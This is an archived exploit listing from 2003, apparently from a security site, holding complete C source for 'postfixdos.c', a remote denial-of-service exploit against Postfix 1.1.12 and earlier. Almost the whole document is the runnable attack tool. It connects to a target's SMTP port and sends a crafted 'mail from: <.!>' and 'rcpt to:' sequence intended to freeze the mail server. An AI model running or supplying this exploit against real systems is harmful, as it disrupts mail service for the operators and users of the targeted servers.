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postfixdos.c

postfixdos.c
Posted Aug 5, 2003
Authored by r3b00t

Postfix 1.1.12 remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | b0da22d0cfbdc3497ffd67e7e35596e8ba75b9df40e447e1d99fd7e249ae92d7

postfixdos.c

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/*
postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>
------------------------------------------------
remote/local Postfix up to (including) 1.1.12 DoS
discovered by lcamtuf <lcamtuf@coredump.cx>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>

int sock = 0;

void get_response(void);
void say(char *it);

int main(int argc, char* argv[]) {
struct hostent *hp;
struct sockaddr_in addr;

printf("postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>\n");

if (argc<2) {
printf("usage: %s <smtpserver>\n", argv[0]);
exit(0);
}

hp=gethostbyname(argv[1]);

if (!hp) {
printf("can't resolve %s\n", argv[1]);
exit(0);
}

bzero((char *)&addr, sizeof(addr));

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("can't create socket\n");
exit(0);
}

bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(25);

if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
printf("can't connect to %s\n", argv[1]);
close(sock);
exit(0);
}

get_response();

say("helo host\r\n");
say("mail from: <.!>\r\n");
say("rcpt to: <someuser123@[127.0.0.1]>\r\n");
/* now should be freezed */

shutdown(sock, 2);
close(sock);

printf("done.\n");

return 0;
}

void get_response(void) {
char buff[64];
recv(sock, buff, sizeof(buff), 0);
if (buff[0]!='2' && buff[0]!='3') printf("%s", buff);
}

void say(char *it) {
send(sock, it, strlen(it), 0);
get_response();
}

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